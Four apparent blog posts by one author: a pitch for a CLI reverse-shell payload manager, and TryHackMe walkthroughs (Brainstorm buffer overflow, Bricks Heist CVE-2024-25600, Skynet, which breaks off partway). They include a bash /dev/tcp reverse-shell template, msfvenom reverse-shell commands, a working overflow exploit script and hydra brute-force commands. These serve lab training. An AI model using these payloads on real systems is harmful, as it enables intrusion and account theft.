DEV Community: ordinary-hacker

Stop Googling Reverse Shells: Meet oh-my-shells

ordinary-hacker — Sun, 31 Aug 2025 17:23:43 +0000

Hi there! :D

This post is about a red-team tool I recently built — but first, let’s talk about the problem it solves.

Why? — The pain point

Every pentester needs payloads. Whether it’s bypassing file filters, sneaking past WAFs, or popping a shell with a quick /dev/tcp trick — payloads are the bread and butter of red teaming.

But here’s the real issue: where do you keep them?

Maybe you’ve got 10,000 gists bookmarked.
Maybe there’s a dusty payloads.txt file sitting in your notes.
Maybe you spam-refresh revshells.com every time you need one.

All of these work, but none of them are perfect:

revshells.com is handy, but its listeners don’t adapt to the payload (e.g. no UDP flags). Plus, switching between browser and terminal is clunky.
Payload lists like PayloadAllTheThings are massive, but unless you know exactly where to look, you waste time searching.
Your own notes can work — until they grow messy, unorganized, and slow you down.

At the end of the day, you spend more time digging than hacking.

So I thought: what if revshells.com existed on the CLI? Offline, structured, fast, and easy to extend.

Well… I couldn’t find it.
So I built it.

What? — Meet oh-my-shells

So what exactly is it?
oh-my-shells is basically a payload + listener manager for the terminal. Instead of digging through random notes or browser tabs, you can just use a simple CLI command and instantly get what you need.

The whole point is: search, pick, run.

Some of the main features are:

📜 List - Show all payloads or filter them by OS, type, protocol, and/or language.
🔍 Search — Quickly look up payloads by entering your search term and it'll try to find it on the shell name or description.
📺 Show - See extra details about any shell rather than just the name and description.
⚡ Generate — Load a payload and get both the payload itself and the compatible listeners.
🛠 Extend — Add your own payloads to the shells/ (I'll explain this later) folder and they’ll just work with the same commands.
🖥 CLI workflow — No switching windows, everything happens right where you’re working.

Example

Say you want a bash reverse shell. Instead of googling it (again), just:

Run oh-my-shells search bash:

Then run oh-my-shells generate bash_udp --lhost 10.10.10.10 --lport 8080:

And that’s it — you’re ready to go.

How? - Under the hood

So how does this thing actually work?
At its core, oh-my-shells is just a big organized collection of payload definitions written in TOML.
Every payload is a little self-contained .toml file that describes:

✅ The ID and human-friendly name
🖥 The target OS, type (reverse/bind), protocol, and language
💬 A short description
💣 The actual payload string (with placeholders like {{LHOST}} and {{LPORT}})
🎧 A set of compatible listeners (because not all netcats are equal)
🐚 Which shells it plays nicely with

Here’s a real example:

id = "bash_196"
name = "Bash 196"
os = "unix"
type = "reverse"
proto = "tcp"
lang = "bash"
description = "Uses file descriptor 196 to open a TCP connection to the specified host and port, then redirects IO through FD 196."

payload = "exec 196<>/dev/tcp/{{LHOST}}/{{LPORT}}; {{SHELL}} <&196 >&196 2>&196"

[listeners]
nc         = "nc -lvnp {{LPORT}}"
busybox_nc = "busybox nc -lp {{LPORT}}"
socat      = "socat -d -d TCP-LISTEN:{{LPORT}} STDOUT"

[shells]
compatible = ["bash", "/bin/bash", "/usr/bin/env bash", ...]

That’s it. The CLI just parses this TOML, fills in the placeholders, and shows you the right payload + listener. No magic, just structured data.

The file structure

To keep everything tidy (and make searching fast), payloads live in a Metasploit-style folder tree under shells/.
It’s organized by OS, type, and protocol — so you can quickly drill down to what you need:

shells/
├── unix
│   ├── reverse
│   │   ├── tcp
│   │   │   ├── bash_196.toml
│   │   │   ├── perl_pentestmonkey.toml
│   │   │   ├── python3_shortest.toml
│   │   │   └── zsh.toml
│   │   │   └── ...
│   │   └── udp
│   │       ├── bash_udp.toml
│   │   │   └── ...
│   └── bind
│       └── tcp
│           ├── nc_bind.toml
│           ├── ...
│           └── perl_bind.toml
├── windows
│   └── reverse
│       └── tcp
│           ├── powershell_1.toml
│           ├── python3_windows.toml
│           ├── ...
│           └── nc_exe_e.toml
└── all
    └── web
        ├── php_cmd.toml
        ├── ...
        └── p0wny_shell.toml

Why TOML?

Because it's:

human-readable (cleaner than JSON, less indentation pain than YAML),
easy to parse in basically every language,
and simple enough that contributors with low technical knowledge can add payloads without needing to dive too deep into the internals of this tool

All you need is to drop a .toml in the right folder and boom — oh-my-shells picks it up.

Adding your own payload

Adding a new payload is ridiculously easy — no coding required. Just:

Pick the right folder

Find the folder that matches the OS, type, and protocol. For example:

shells/unix/reverse/tcp/ or shells/windows/reverse/http/
Copy an existing TOML as a template

   cp bash_196.toml my_new_payload.toml

Edit your TOML Change the id, name, description, payload, and listeners. Make sure your have the {{LHOST}} and {{LPORT}} placeholders in the payload string.
List compatible shells Add any shells that your payload can safely run under:

   [shells]
   compatible = ["bash", "dash", "very-cool-stuff"]

Note: If your payload doesn't invoke any shell, like with the -i flag for example, you can skip the shells section completely.

Done! oh-my-shells automatically detects the new file. Test it with:

   oh-my-shells search new
   oh-my-shells show my_new_payload
   oh-my-shells generate my_new_payload -H 10.10.10.10 -P 4444

That’s it — your payload is now fully integrated and ready to use.

Want to get it?

Alright, getting this tool on your system is easy. It's programmed in C and really only needs the bare-minimum of the binary and the shells folder on the same directory to work.

To install it you must at least have on your system: make (plus it's dependencies), a proper Unix environment (WSL, macOS, practically any Linux distro), and for the one-liner I'm going to show cURL though you can run the install.sh script in any way.

This install.sh I just mentioned is the recommended install method, for a cURL one-liner that runs it you can use:

curl -fsSL https://raw.githubusercontent.com/ordinary-hacker/oh-my-shells/trunk/install.sh | sudo bash

The script will: clone the Github repository to /opt, use make to build the binary, symlink the resulting oh-my-shells binary to /usr/local/bin/oh-my-shells. And... as simple as that the tool is now installed!

Contributing & Feedback

Found a bug, have a recommendation, got a cool feature idea, or want to contribute by adding more payloads? Then you are completely free to open an issue/PR on the Github repository.

Brainstorm - TryHackMe CTF Walkthrough

ordinary-hacker — Sun, 10 Aug 2025 13:17:00 +0000

Hello :D, and welcome to this walkthrough for a quite-challenging buffer overflow CTF! To be honest this room probably took me more to complete than it should have, but hopefully you'll still find this useful and enjoyable!

Initial Enumeration

Our first task is to answer two questions: how many ports are open, and the name of an executable file we need to find.

Port Scanning

I started with a standard nmap scan, but ran into immediate issues with timing, as for whatever reason some timeouts caused nmap to put insane delays between requests. Therefore the default scan was taking forever, so I had to add the -T4 flag to speed things up:

nmap -T4 -sV 10.X.X.X

This revealed our target ports:

Nmap scan report for 10.X.X.X
Host is up (0.20s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
3389/tcp open  ms-wbt-server Microsoft Terminal Services  
9999/tcp open  abyss?

Answer: 3 ports are open

The interesting part is port 9999 running an unknown service. The nmap fingerprint shows it's some kind of chat application:

Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters):

FTP Enumeration

Since we have FTP running, and it's exactly what one thinks first when it comes to file transfer more than a Python HTTP server, I decided to check if anonymous access was enabled. Microsoft FTP servers sometimes allow anonymous login:

Using macOS Finder (you can use any FTP client), I connected with:

User: anonymous
Password: (left blank)

Luckily this worked! Inside the FTP server I found a single directory:

Which inside had some files:

These two are very likely:

chatserver.exe - The main application
essfunc.dll - A dependency DLL

Answer: The executable file is chatserver.exe

Understanding the Target Application

Before diving into exploitation, I wanted to understand the normal behavior. Using telnet:

telnet 10.X.X.X 9999

The application flow is simple:

Asks for username (max 20 characters)
Prompts to write a message
Acts like a basic chat server

I also checked the line ending format as I though it would be important to exploitation using:

nc 10.X.X.X 9999 | hexdump -C

The output shows 0a (LF) characters, confirming it uses Unix-style line endings rather than Windows CRLF.

Setting Up the Testing Environment

VM Setup

To properly analyze this Windows application, I needed a Windows environment with Immunity Debugger. Based on the nmap OS detection (which suggested Windows Server 2008 R2), I set up a Windows 7 VM in VirtualBox.

Then I installed everything I needed:

Immunity Debugger
mona.py plugin
Python because both Immunity Debugger and mona.py (duh) depend on it

File Transfer

I downloaded the files from the FTP server and transferred them to my Windows VM using Python's built-in HTTP server:

# On host machine
python3 -m http.server 8080

# Then download from VM browser

Static Analysis Phase

Before dynamic testing, I decided to do static analysis using Ghidra to understand the application structure.

Main Application Analysis

The chatserver.exe analysis revealed:

Standard socket server setup on port 9999
Calls to _EssentialFunc1 from the external DLL
A suspicious function called _Overflow:

void __cdecl _Overflow(char *param_1)
{
  char local_7dc [2008];
  strcpy(local_7dc,param_1);
  return;
}

This is our vulnerability! The function copies user input into a 2008-byte buffer without any sort of bounds checking.

DLL Analysis

The CTF says we need to find any function with both ASLR and DEP disabled, these two aren't exactly tied to specific functions but whole executables, in this case by looking at the PE header the dependency DLL did't have these protections enabled. First I opened up the DLL with Ghidra.

The essfunc.dll contains several functions:

_EssentialFunc1: Debug message function
_EssentialFunc2-9: These looked empty in Ghidra initially
_EssentialFunc10-14: Various buffer copy functions

Though eventually when looking deeper for any instructions we could use (usually jmp esp) I used IDA instead of Ghidra and was able to see all of the functions _EssentialFunc2-9 actually contained a single thing: a jmp esp instruction preceded by some setup instructions that aren't important.

Checking ASLR/DEP Status

If you wonder how I confirmed the DLL has protections disabled, I checked the PE header:

# Check PE header offset
xxd -s 0x3C -l 4 essfunc.dll
# Output: 8000 0000 (offset at 0x80)

# Check DllCharacteristics  
xxd -s 0xDE -l 2 essfunc.dll
# Output: 0000 (no protection flags set)

This confirms ASLR and DEP are disabled on the DLL - which is just what we need!

Dynamic Analysis and Exploitation

Initial Fuzzing

I created a Python fuzzer to find the crash point:

import socket
import time
import sys

HOST = "10.X.X.X"  # Your VM IP
PORT = 9999
TIMEOUT = 5
USERNAME = "imgonnah4cku"

message = "A" * 100

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.settimeout(TIMEOUT)
    s.connect((HOST, PORT))
    s.sendall(USERNAME.encode() + b"\n")

    while True:
        try:
            print(f"Fuzzing with {len(message)} bytes...")
            s.sendall(bytes(message + "\n", "latin-1"))
        except Exception as e:
            print(f"Crashed at {len(message)} bytes: {e}")
            sys.exit(0)

        message += "A" * 100
        time.sleep(1)

The first thing I saw was that it reported that the app crashed at 2600 bytes with a broken pipe, but I would quickly discover this was wrong in the future. Why? Idk, maybe an issue with detecting crashes or something similar, but I eventually found it.

Finding the EIP Offset

Using Metasploit's pattern generator:

/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 3000

I created a test script with the cyclic pattern and ran it against the target in Immunity Debugger:

import socket
import time

HOST = "<VM_IP>"
PORT = 9999
USERNAME = "imgonnah4cku"
message = "<cyclic_pattern_3000_chars>"

try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((HOST, PORT))
        s.sendall(USERNAME.encode() + b"\n")
        time.sleep(1)
        s.sendall(bytes(message + "\n", "latin-1"))
except Exception as e:
    print(f"Failed: {e}")

Using mona: !mona findmsp -distance 3000

Then we got our EIP offset: 2012 bytes.

First Exploitation Attempt

I tried the classic approach with a simple EIP overwrite test:

message = "A" * 2012 + "BBBB" + "C" * (2600 - 2016)

This didn't work as expected. After more testing (which was to brute force different potential lengths because I didn't and still don't know why the fuzzer didn't work, what matters is to know that code is never flawless, and sometimes it doesn't even need to work, because as I already mentioned I just brute-forced it), I discovered the actual crash length was 2895 bytes, not 2600. So I changed this up a little bit to be:

message = "A" * 2012 + "BBBB" + "C" * (2895 - 2016)

Then finally with this EIP was overwritten to 4 Bs!

Finding JMP ESP Instructions

Using Immunity Debugger, I found multiple jmp esp instructions in the DLL:

Address    Function         Instruction
625014E0   _EssentialFunc2  jmp esp
625014EC   _EssentialFunc3  jmp esp  
625014F8   _EssentialFunc4  jmp esp
62501504   _EssentialFunc5  jmp esp
62501510   _EssentialFunc6  jmp esp
6250151C   _EssentialFunc7  jmp esp
62501528   _EssentialFunc8  jmp esp
62501534   _EssentialFunc9  jmp esp

This wasn't straightforward though, I LITERALLY wasted like 2 HOURS trying to see why in the world I was seeing a weird "privileged action" (or something around those lines) error, eventually I discovered it was because the addresses IDA gave where for whatever reason slightly off (probably I'm just dumb and got the address of the functions were the JMP ESP instruction was, instead of the address of JMP ESP itself) and all of them pointed to an opcode that was E4 FF which in human-readable is IN AL,0FF:

So therefore when EIP went to this address the program suffered 3 strokes and just crashed. Conclusion: just use !mona find -s "\xff\xe4" -m essfunc.dll pls, which gives you the possibility to get the EXACT address of any combination of bytes. also always verify that the address goes where you think it goes, the IDA addresses went where they shouldn't, while the ones found by mona.py were perfect:

Shellcode Generation

The cool part: looking how metasploit generates payloads that are in pure shellcode and feel like a hacker movie >:D

First I did a simple payload that runs the calculator:

msfvenom -p windows/exec CMD=calc.exe -f python -b "\x00"

This is one is great for buffer overflows because it's small and great for testing, and after you get it to work it's almost ensured a reverse shell will do as nicely.

Talking about reverse shells:

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f python -b "\x00\x0a\x0d"

When running your exploit you might want to add some breakpoints (I recommend just as the address of the JMP ESP instruction you are using) and run u esp which shows you the disassembling of esp. Then verify it properly contains a NOP sled (essential almost always) and then your stuff:

Final Working Exploit

Here's the complete, tested exploit I eventually made that got me a reverse shell:

import socket
import time
import struct

HOST = "10.X.X.X"  # Target IP
PORT = 9999
TIMEOUT = 5
USERNAME = "imgonnah4cku" # this can be anything

# msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f python -b "\x00\x0a\x0d"
# or any other msfvenom payload that'll work
buf =  b""
buf += b"\xd9\xcc\xbf\x39\x0d\x9d\x41\xd9\x74\x24\xf4\x5d"
buf += b"\x31\xc9\xb1\x52\x31\x7d\x17\x83\xc5\x04\x03\x44"
# ... (rest of shellcode)

offset_to_eip = 2012
jmp_esp_addr = 0x625014DF  # Working address, though it can be any of the ones mona.py manages to find
eip = struct.pack("<I", jmp_esp_addr)
nop_sled = b"\x90" * 16

# Calculate padding
total_length = 2895
padding_length = total_length - offset_to_eip - len(eip) - len(nop_sled) - len(buf)

# Build final payload
payload = b"A" * offset_to_eip + eip + nop_sled + buf + b"C" * padding_length

try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(TIMEOUT)
        s.connect((HOST, PORT))
        s.sendall(USERNAME.encode() + b"\n")
        time.sleep(1)

        print("Sending exploit payload...")
        s.sendall(payload + b"\n")
        print("Payload sent!")

except Exception as e:
    print(f"Failed: {e}")

Remember to regenerate the shellcode but with your LHOST and PORT for a reverse-shell!

Leasons learned

Buffer overflows need lots of testing and confirming that stuff really went as it should, I think going for static analysis first is better, also always verify 3 times everything such as the address were your stuff is landing, and do simple tests such as EIP overwrite to slowly discard what's wrong if your exploit doesn't work. Also, knowing what could cause a "privileged instruction" error would have helped.

Conclusion

This one was quite hard though fun at least, buffer overflows will usually need lots of debugging and are very fragile in nature so double-check everything before calling your exploit ready! I always try to slowly write pieces of the walkthroughs I do while making the CTF as they usually also work as notes, but for this one I had to correct so much stuff I had actually gotten wrong so many times I straight up just wrote this one from scratch. Bye! :)

TryHack3M: Bricks Heist - CTF Walkthrough

ordinary-hacker — Fri, 01 Aug 2025 17:43:11 +0000

Hi! Welcome to this new walkthrough :D. On this one we have what seems to be a web application. The challenge's description already throws a hint: "an RCE CVE as your key". This means we'll very likely be looking at the versions of everything running here! In the meantime we'll need to answer some questions. So let's get started!

Initial recon and enumeration

First, as always run nmap. We can immediately discover these open ports:

443 - HTTPS - Might host different stuff than the HTTP server, or maybe the same
80 - HTTP - Once again, could be different from the HTTPS server
22 - SSH - Useful if we get creds or the unathenticated RCE is here (though I doubt that)
3306 - MySQL - Very juicy find, unathenticated RCE could perfectly be here, plus this shouldn't be exposed to the outside.

The rest of the nmap output reveals LOTS of stuff:

# Nmap 7.97 scan initiated Thu Jul 31 17:21:38 2025 as: nmap -p- -sS -sC -sV -O -oN port_scan.txt -v 10.X.X.X
Nmap scan report for bricks.thm (10.X.X.X)
Host is up (0.14s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ce:93:03:db:ce:95:78:f8:46:de:21:ad:c4:ec:52:03 (RSA)
|   256 c2:73:d9:64:97:bc:2e:6a:13:86:33:dc:57:35:d8:74 (ECDSA)
|_  256 2b:40:f2:29:48:c3:2f:f6:b7:7e:e9:60:0c:68:67:ca (ED25519)
80/tcp   open  http     Python http.server 3.5 - 3.10
|_http-server-header: WebSockify Python/3.8.10
|_http-title: Error response
443/tcp  open  ssl/http Apache httpd
|_http-favicon: Unknown favicon MD5: 000BF649CC8F6BF27CFB04D1BCDCD3C7
|_ssl-date: TLS randomness does not represent time
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| tls-alpn: 
|   h2
|_  http/1.1
|_http-title: Brick by Brick
|_http-server-header: Apache
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=US
| Issuer: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-04-02T11:59:14
| Not valid after:  2025-04-02T11:59:14
| MD5:     f1df 99bc d5ab 5a5a 5709 5099 4add a385
| SHA-1:   1f26 54bb e2c5 b4a1 1f62 5ea0 af00 0261 35da 23c3
|_SHA-256: 6646 7120 90a1 f20f 69f0 5ea1 8f85 d9d4 baef e272 ff36 5253 2556 8bae 60e6 f43c
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-generator: WordPress 6.5
3306/tcp open  mysql    MySQL (unauthorized)
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Uptime guess: 27.362 days (since Fri Jul  4 08:43:57 2025)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 31 17:25:53 2025 -- 1 IP address (1 host up) scanned in 255.05 seconds

Basically: HTTP uses WebSockify Python version 3.8.10, HTTPS uses ssl/http Apache, on the Apache server Wordpress 6.5 was used, on the robots.txt /wp-admin/ was disallowed... however /wp-admin/admin-ajax.php wasn't, and finally the MySQL is running but is unathorized...

Finding what's vulnerable

A decent amount of potential surface. So first I checked ExploitDB and Google for everything on the specific versions we found and got nothing.

Next I decided to actually take a look at the webapp, HTTP just runs WebSockify which is for converting WebSocket traffic to everyday TCP sockets, so the HTTPS is what matters. / is essentially empty. So I ran dirsearch and waited. The thing that I noticed was that /cgi-bin/ was present and endpoints like /cgi-bin/test-cgi and /cgi-bin/printenv were accessible! Also, we have a readme.html and license.txt. Also the phpMyAdmin README, ChangeLog, even parts of the docs! Let's go step by step, even though the test-cgi is accessible, it is disabled to show any info, once again same for printenv. phpMyAdmin is version 5.2.1. License file and README were just Wordpress default.

Looking even further into dirsearch output, XML-RPC is open-wide, and /wp-json/wp/v2/users/ also is, which allows to exfiltrate all users:

[{"id":1,"name":"administrator","url":"http:\/\/localhost:8000","description":"","link":"https:\/\/bricks.thm\/author\/administrator\/","slug":"administrator","avatar_urls":{"24":"https:\/\/secure.gravatar.com\/avatar\/1bbffe6e4a0d55229bb93384d63c0b8c?s=24&d=mm&r=g","48":"https:\/\/secure.gravatar.com\/avatar\/1bbffe6e4a0d55229bb93384d63c0b8c?s=48&d=mm&r=g","96":"https:\/\/secure.gravatar.com\/avatar\/1bbffe6e4a0d55229bb93384d63c0b8c?s=96&d=mm&r=g"},"meta":[],"_links":{"self":[{"href":"https:\/\/bricks.thm\/wp-json\/wp\/v2\/users\/1"}],"collection":[{"href":"https:\/\/bricks.thm\/wp-json\/wp\/v2\/users"}]}}]

I decided to after all of this see if wpscan brought any results. But I didn't see anything we don't know by now.

Then I decided to pivot my efforts, curiosly, the Apache webserver version is being hidden from us... which makes it sound like it is a vulnerable one! So I now wanted to see if I could find the precise version. Common stuff like headers doesn't do, unexistent pages just throw Wordpress error, I then tried using sslscan to attempt to fingerprint the SSL stack to attempt to correlate with potential server versions and got nothing, then ran WhatWeb and once again nothing... I was running out of patience and ideas.

Do you remember that Websockify was running on port 80? I though that this was potentially a pivot point, so I used wscat and it managed to connect! I immediately got the output of < RFB 003.008, which tells this is an RFB handshake, which essentially says this is a VNC server. So I next tried using a proper VNC client to connect to it and didn't manage to do it.

Afterwards I just could think of a dictionary attack against the administrator, and that also didn't work.

I randomly while doing something else in the meantime got an idea I though was brilliant, wpscan managed to find a used "bricks" theme version 1.9.5. I randomly had the hope it would have some weird RCE CVE. And... YES!!!! YES!!!!! FINALLY!!!!!!! I ACTUALLY WASTED SO MUCH TIME LOOKING AT OTHER STUFF!!!!!

Exploitation TIMEEEEE!!!!!!!

Ok, ok... let's take a breath and see. Bricks version 1.9.5 is vulnerable to a critical unathenticated RCE, CVE-2024-25600. Effectively the vulnerability affects all Bricks installs up to version 1.9.6, and allows an attacker with zero auth to execute arbitrary PHP code on the server. Going more technical the plugin uses the eval() function inappropiately by throwing whatever is in $php_query_raw straight into the function. Then this can be triggered by crafting a malicious request to the admin-ajax.php (remember this was allowed before?) endpoint which through the Bricks\Ajax::render_element($element) method (used to show previews of blocks and elements inside an editor) allows to have user-controlled input as the value of $php_query_raw. If you didn't understand my explanation (very likely) or want a deeper dive you can check out the same blog post that I used to learn about this.

Next we are going to finally do this! I choosed the exploit by K3ysTr0K3R mostly because it already defaults to getting an interactive shell. So we clone it and cd right into it. In my case I also did a venv, if you also want to do this a requirements.txt could look like:

bs4
rich
requests
prompt_toolkit
alive_progress

Next, the arguments are simple, just the URL, a file in case there are multiple URLs to test, and the amount of threads. The bare minimum is more than enough, we can specify the URL and run the exploit:

python3 CVE-2024-25600.py -u https://bricks.thm

And if everything went as it should, we are now in!

   _______    ________    ___   ____ ___  __ __       ___   ___________ ____  ____
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__ \ / ____/ ___// __ \/ __ \
 / /    | | / / __/________/ // / / /_/ / // /_________/ //___ \/ __ \/ / / / / / /
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/ __/____/ / /_/ / /_/ / /_/ /
\____/  |___/_____/    /____/\____/____/ /_/       /____/_____/\____/\____/\____/

Coded By: K3ysTr0K3R --> Hello, Friend!

[*] Checking if the target is vulnerable
[+] The target is vulnerable
[*] Initiating exploit against: https://bricks.thm
[*] Initiating interactive shell
[+] Interactive shell opened successfully
Shell>

We are able to run commands like normal and do whatever the hell we feel like doing! Well... unless the user "apache" on the machine doesn't have access, of course.

Getting the flags

Now we are going over each flag one by one:

Just run ls and you'll see a file with a questionably large and random looking file name, you can just cat it.
I ran ps aux but nothing really looked uncommon/usual, I grabbed the hint which said to run systemctl | grep running, look at the output and it is obvious. Well, at least which service it is, to get the name and not description (which is TRYHACK3M) you'll need to run systemctl status <service name>.
My first instinct was to check /var/log/, and found nothing, then I tried another thousand ways to discover the log file, and after like 20 minutes I decided to just check a walkthrough real quick, and after everything inet.conf, yes .conf was apparently the log file.
Next we can cat the log file and see some sort of "ID". Still reading the walkthrough, after seeing cyberchef was needed I noticed it looked like some sort of hash or maybe hex. I decided to go first with hex as I didn't feel like waiting another hour on a brute-force attack and that actually worked! Or well, from the hex I then got a base64, which was then a base64, which finally was the address: bc1qyk79fcp9had5kreprce89tkh4wrtl8avt4l67qa. Except apparently it had an extra character which was the a between h and d, making the actual address: bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa.
This one just didn't work for me. I just went to blockchair.com and looked up the address, then tried searching on other places, but the only thing I found where walkthroughs on Google spoiling the answer was "LockBit".

Conclusion

Essentially, what we learned is to always be persistent (and a lot), and yeah that's it. Pretty fun the initial part of finding the vulnerable thing! Though the rest was just using walkthroughs lol. Though that was the boring part anyways.

Skynet THM CTF Walkthrough

ordinary-hacker — Mon, 28 Jul 2025 00:52:47 +0000

Welcome to my little walkthrough for THM's Skynet challenge :D

I have no idea what this will be so without too much talking let's get started!

Initial enumeration

First do blind stuff just trying to get an idea of what to do next!

Let's start with classic nmap, I didn't append the whole output because what really matters is what's open.

Open ports

445 - SMB - Should try to enumerate as anonymous
80 - HTTP - Biggest point of interest, manually check it out and probably most stuff will play here over time
139 - SMB - Same as the first one
143 - IMAP - Maybe attempt to connect and check for interesting stuff on emails???
110 - POP3 - Same as the last one
22 - SSH - Useful if I get creds

Decent surface of attack, 4 things it seems: HTTP, IMAP, POP3, SMB.

Discarding some like SSH which will only go if we get creds.

Website functionality

Just a search input and button, request always looking like:

POST / HTTP/1.1
Host: 10.X.X.X
Content-Length: 20
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://10.X.X.X
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.X.X.X/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

submit=Skynet+Search

Changing the submit value seems to have no effect, site is confirmed to be built with PHP.

These CTFs rarely put what's needed at /, so I in the meantime ran dirsearch to attempt to find any dirs, would recommend you to start running it.

SMB Shares

There's an anonymous and milesdyson share. Only anonymous is readable, it has an attention.txt saying:

A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson

And also inside logs/ some log files, with the only one with actual content containing:

cyborg007haloterminator
terminator22596
terminator219
terminator20
terminator1989
terminator1988
terminator168
terminator16
terminator143
terminator13
terminator123!@#
terminator1056
terminator101
terminator10
terminator02
terminator00
roboterminator
pongterminator
manasturcaluterminator
exterminator95
exterminator200
dterminator
djxterminator
dexterminator
determinator
cyborg007haloterminator
avsterminator
alonsoterminator
Walterminator
79terminator6
1996terminator

These are either users or maybe passwords (even better).

Now I think we know enough and can actually read what the questions are and see how to use our knowledge.

1st Question

Attempts against SMB

This one is to get Miles password for his emails (very likely POP3 and IMAP ports, which seems like they are present because a SquirrelMail is hosted at /squirrelmail which I found with dirsearch).

So... now we have a bunch of vectors, the first one I tried was to attempt to access the milesdyson share, user very likely going to be the same name, and password one of the ones in the log file.

With hydra we can do a dictionary attack:

hydra -l milesdyson -P 10.X.X.X-anonymous_logs_log1.txt smb://10.X.X.X

Though this one didn't exactly work... What I noticed is that milesdyson IS the right username as other options give an anonymous success.

My next idea was to maybe use the same log to attempt usernames:

hydra -L 10.X.X.X-anonymous_logs_log1.txt -P 10.X.X.X-anonymous_logs_log1.txt smb://10.X.X.X

But all returned that the account didn't exist... just in case I downloaded the other logs but as mentioned before they are empty.

Now, what if directly going against the SquirrelMail?

Attempts against SquirrelMail

The login page already reveals the version: 1.4.23.

A direct version for it on ExploitDB doesn't show much, however deeaper searches reveal it's quite old, and has all sort of vulns: LFI, XSS, HTML injection, XSS, etc. But most of these need some sort of foothold, so first let's just brute-force milesdyson with our log file but on SquirrelMail.

The command would be:

hydra -V -l milesdyson -P 10.X.X.X-anonymous_logs_log1.txt 10.X.X.X http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown user or password incorrect"

Wait 3 seconds, and we get:

[80][http-post-form] host: 10.X.X.X   login: milesdyson   password: [go do it yourself!]

With this we can answer the question and do a successful login at /squirrelmail.

2nd Question

Now this wants a directory! Spoiler alert: dirsearch nor gobuster are helping!

Before anything, remember the credentials for SquirrelMail? Well, go there and there are some emails, one which has "Samba Password reset" has the subject, open it and it indicates that the SMB password has been reset to:

)s{A&2Z=[truncated! once again, go do it yourself!]

There are two other emails, each one respectively with: binary data, and random text.

But let's go step by step, first let's access the SMB share "milesdyson" with our password and user of the same name of the share.

    milesdyson                                          READ ONLY   Miles Dyson Personal Share
    ./milesdyson
    dr--r--r--                0 Tue Sep 17 03:05:47 2019    .
    dr--r--r--                0 Tue Sep 17 21:51:02 2019    ..
    fr--r--r--          5743095 Tue Sep 17 03:05:14 2019    Improving Deep Neural Networks.pdf
    fr--r--r--         12927230 Tue Sep 17 03:05:14 2019    Natural Language Processing-Building Sequence Models.pdf
    fr--r--r--         19655446 Tue Sep 17 03:05:14 2019    Convolutional Neural Networks-CNN.pdf
    dr--r--r--                0 Tue Sep 17 03:18:40 2019    notes
    fr--r--r--          4304586 Tue Sep 17 03:05:14 2019    Neural Networks and Deep Learning.pdf
    fr--r--r--          3531427 Tue Sep 17 03:05:14 2019    Structuring your Machine Learning Project.pdf

There are mostly just random PDFs, though the notes/ directory looks interesting.

    milesdyson                                          READ ONLY   Miles Dyson Personal Share
    ./milesdysonnotes
    dr--r--r--                0 Tue Sep 17 03:18:40 2019    .
    dr--r--r--                0 Tue Sep 17 03:05:47 2019    ..
    fr--r--r--            65601 Tue Sep 17 03:01:29 2019    3.01 Search.md
    fr--r--r--             5683 Tue Sep 17 03:01:29 2019    4.01 Agent-Based Models.md
    fr--r--r--             7949 Tue Sep 17 03:01:29 2019    2.08 In Practice.md
    fr--r--r--             3114 Tue Sep 17 03:01:29 2019    0.00 Cover.md
    fr--r--r--            70314 Tue Sep 17 03:01:29 2019    1.02 Linear Algebra.md
    fr--r--r--              117 Tue Sep 17 03:18:39 2019    important.txt
    fr--r--r--             9221 Tue Sep 17 03:01:29 2019    6.01 pandas.md
    fr--r--r--               33 Tue Sep 17 03:01:29 2019    3.00 Artificial Intelligence.md
    fr--r--r--             1165 Tue Sep 17 03:01:29 2019    2.01 Overview.md
    fr--r--r--            71657 Tue Sep 17 03:01:29 2019    3.02 Planning.md
    fr--r--r--            62712 Tue Sep 17 03:01:29 2019    1.04 Probability.md
    fr--r--r--            82633 Tue Sep 17 03:01:29 2019    2.06 Natural Language Processing.md
    fr--r--r--               26 Tue Sep 17 03:01:29 2019    2.00 Machine Learning.md
    fr--r--r--            40779 Tue Sep 17 03:01:29 2019    1.03 Calculus.md
